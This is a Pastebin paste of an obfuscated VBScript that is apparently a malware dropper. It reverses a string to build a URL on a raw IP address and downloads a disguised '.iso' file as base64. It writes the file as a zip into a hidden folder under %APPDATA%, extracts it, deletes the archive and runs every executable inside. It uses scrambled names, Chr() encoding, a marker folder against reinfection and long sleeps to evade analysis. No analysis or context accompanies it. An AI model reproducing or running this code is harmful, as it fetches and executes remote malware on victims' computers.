Advertisement
Guest User

Untitled

a guest
Jan 29th, 2020
153
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.27 KB | None | 0 0
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,wyyADDEGIJJLNOOQSTTVWWYabbdfggijll,OBJuvvxyACDFFHIKMNNPQS,objFeSO
  3. DZIP = StrReverse("osi.retsamluosTB/511.71.032.81//:ptth")
  4. Set OBJuvvxyACDFFHIKMNNPQS = CreateObject( "WScript.Shell" )
  5. wyyADDEGIJJLNOOQSTTVWWYabbdfggijll =OBJuvvxyACDFFHIKMNNPQS.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37)))
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = wyyADDEGIJJLNOOQSTTVWWYabbdfggijll + "\nvmode"
  9. IIJJLNOOQSTTVWYYcdfggikklnppqssuvxxyAACDDFHII
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. DVGIJJNOOQRTTVWYYabbdfggijllnoqqst
  15. WScript.Sleep 32303
  16. XCjkmoprtuuwxzBBCEGGHJLLMOPPRTUUWYZZbcceghhjlmmoqr
  17. WScript.Sleep 32210
  18. DCXXZacefhhikkmnpprssuvxxzAACEEFHJ
  19. WScript.Sleep 2424
  20. DCfgiilnnoqsstvxxyAABDFFGIKKLNOOQSTTVX
  21. Function DCfgiilnnoqsstvxxyAABDFFGIKKLNOOQSTTVX()
  22. Dim ClqtyzBBDEGIIJLNNOooqsLM,jrtUWYYbbdegghjllw,jxtssuwxzzACEFFHJJ,ColtIIJLNOQRTTVWYabbd
  23. Set ClqtyzBBDEGIIJLNNOooqsLM = WScript.CreateObject( "WScript.Shell" )
  24. WScript.Sleep 70
  25. Set jrtUWYYbbdegghjllw = CreateObject( "Scripting.FileSystemObject" )
  26. WScript.Sleep 50
  27. Set jxtssuwxzzACEFFHJJ = jrtUWYYbbdegghjllw.GetFolder(PSTLM)
  28. WScript.Sleep 40
  29. WScript.Sleep 50
  30. Set ColtIIJLNOQRTTVWYabbd = jxtssuwxzzACEFFHJJ.Files
  31. WScript.Sleep 60
  32. WScript.Sleep 50
  33. For Each ColtIIJLNOQRTTVWYabbd in ColtIIJLNOQRTTVWYabbd
  34. If UCase(jrtUWYYbbdegghjllw.GetExtensionName(ColtIIJLNOQRTTVWYabbd.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  35. NMEXE = ColtIIJLNOQRTTVWYabbd.Name
  36. ClqtyzBBDEGIIJLNNOooqsLM.Exec(PSTLM & UCase(Chr(92)) & ColtIIJLNOQRTTVWYabbd.Name)
  37. WScript.Sleep 44
  38. End If
  39. Next
  40. End Function
  41. Function GTEK( myPassPhrase )
  42. Dim i, arrCode( )
  43. ReDim arrCode( Len( myPassPhrase ) - 1 )
  44. For i = 0 To UBound( arrCode )
  45. arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  46. Next
  47. GTEK = arrCode
  48. End Function
  49. Function XCjkmoprtuuwxzBBCEGGHJLLMOPPRTUUWYZZbcceghhjlmmoqr()
  50. DIM ClqtyzBBDEGIIJLNNOooqs,FilesInZip
  51. set ClqtyzBBDEGIIJLNNOooqs = CreateObject("Shell.Application")
  52. set FilesInZip=ClqtyzBBDEGIIJLNNOooqs.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  53. ClqtyzBBDEGIIJLNNOooqs.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  54. Set ClqtyzBBDEGIIJLNNOooqs = Nothing
  55. End Function
  56. Function DCXXZacefhhikkmnpprssuvxxzAACEEFHJ()
  57. DIM jrtUWYYbbdegghjllxsd
  58. Set jrtUWYYbbdegghjllxsd = Createobject("Scripting.FileSystemObject")
  59. jrtUWYYbbdegghjllxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  60. End Function
  61. Function tOnpprsuvxxzACC( myFileIn, myFileOut, arrCode )
  62. Dim i, jrtUWYYbbdegghjll, ColtIIJLNOQRTTVWYabbdIn, ColtIIJLNOQRTTVWYabbdOut, objStreamIn
  63. Const ForAppending = 8
  64. Const ForReading = 1
  65. Const ForWriting = 2
  66. Const TristateFalse = 0
  67. Const TristateMixed = -2
  68. Const TristateTrue = -1
  69. Const TristateUseDefault = -2
  70. On Error Resume Next
  71. If Not IsArray( arrCode ) Then
  72. arrCode = Array( arrCode )
  73. End If
  74. For i = 0 To UBound( arrCode )
  75. If Not IsNumeric( arrCode(i) ) Then
  76.  
  77. Encode = 1032
  78. Exit Function
  79. End If
  80. If arrCode(i) < 0 Or arrCode(i) > 255 Then
  81.  
  82. Encode = 1031
  83. Exit Function
  84. End If
  85. Next
  86. Set jrtUWYYbbdegghjll = CreateObject( "Scripting.FileSystemObject" )
  87. If jrtUWYYbbdegghjll.FileExists( myFileIn ) Then
  88. Set ColtIIJLNOQRTTVWYabbdIn = jrtUWYYbbdegghjll.GetFile( myFileIn )
  89. Set objStreamIn = ColtIIJLNOQRTTVWYabbdIn.OpenAsTextStream( ForReading, TriStateFalse )
  90. Else
  91. Encode = 53
  92. objStreamIn.Close
  93. Set objStreamIn = Nothing
  94. Set ColtIIJLNOQRTTVWYabbdIn = Nothing
  95. Set jrtUWYYbbdegghjll = Nothing
  96.  
  97. Exit Function
  98. End If
  99. If jrtUWYYbbdegghjll.FileExists( myFileOut ) Then
  100. ' Error 58: File already exists
  101. Encode = 58
  102. ' Close input file and release objects
  103. objStreamIn.Close
  104. Set objStreamIn = Nothing
  105. Set ColtIIJLNOQRTTVWYabbdIn = Nothing
  106. Set jrtUWYYbbdegghjll = Nothing
  107. ' Abort
  108. Exit Function
  109. Else
  110. Set ColtIIJLNOQRTTVWYabbdOut = jrtUWYYbbdegghjll.CreateTextFile( myFileOut, True, False )
  111. End If
  112. i = 0
  113. Do Until objStreamIn.AtEndOfStream
  114. i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  115. ColtIIJLNOQRTTVWYabbdOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  116. Loop
  117. ColtIIJLNOQRTTVWYabbdOut.Close
  118. objStreamIn.Close
  119. Set objStreamIn = Nothing
  120. Set ColtIIJLNOQRTTVWYabbdIn = Nothing
  121. Set ColtIIJLNOQRTTVWYabbdOut = Nothing
  122. Set jrtUWYYbbdegghjll = Nothing
  123. Encode = Err.Number
  124. Err.Clear
  125. On Error Goto 0
  126. End Function
  127. Function DVGIJJNOOQRTTVWYYabbdfggijllnoqqst()
  128. DIM req
  129. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  130. req.open "GET", DZIP, False
  131. req.send
  132. If req.Status = 200 Then
  133. Dim oNode, BinaryStream
  134. Const adTypeBinary = 1
  135. Const adSaveCreateOverWrite = 2
  136. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  137. oNode.dataType = "bin.base64"
  138. oNode.text = req.responseText
  139. Set BinaryStream = CreateObject("ADODB.Stream")
  140. BinaryStream.Type = adTypeBinary
  141. BinaryStream.Open
  142. BinaryStream.Write oNode.nodeTypedValue
  143. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  144. End if
  145. End Function
  146. Function IIJJLNOOQSTTVWYYcdfggikklnppqssuvxxyAACDDFHII()
  147. dim mqXFFRJUWm
  148. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  149. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  150. WScript.Quit()
  151. End If
  152. End Function
  153. Function TEMMORRE()
  154. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  155. IF objFeSO.FolderExists(wyyADDEGIJJLNOOQSTTVWWYabbdfggijll + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  156. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  157. objFeSO.CreateFolder STPASTALOKA
  158. objFeSO.CreateFolder OBJuvvxyACDFFHIKMNNPQS.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  159. END IF
  160. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement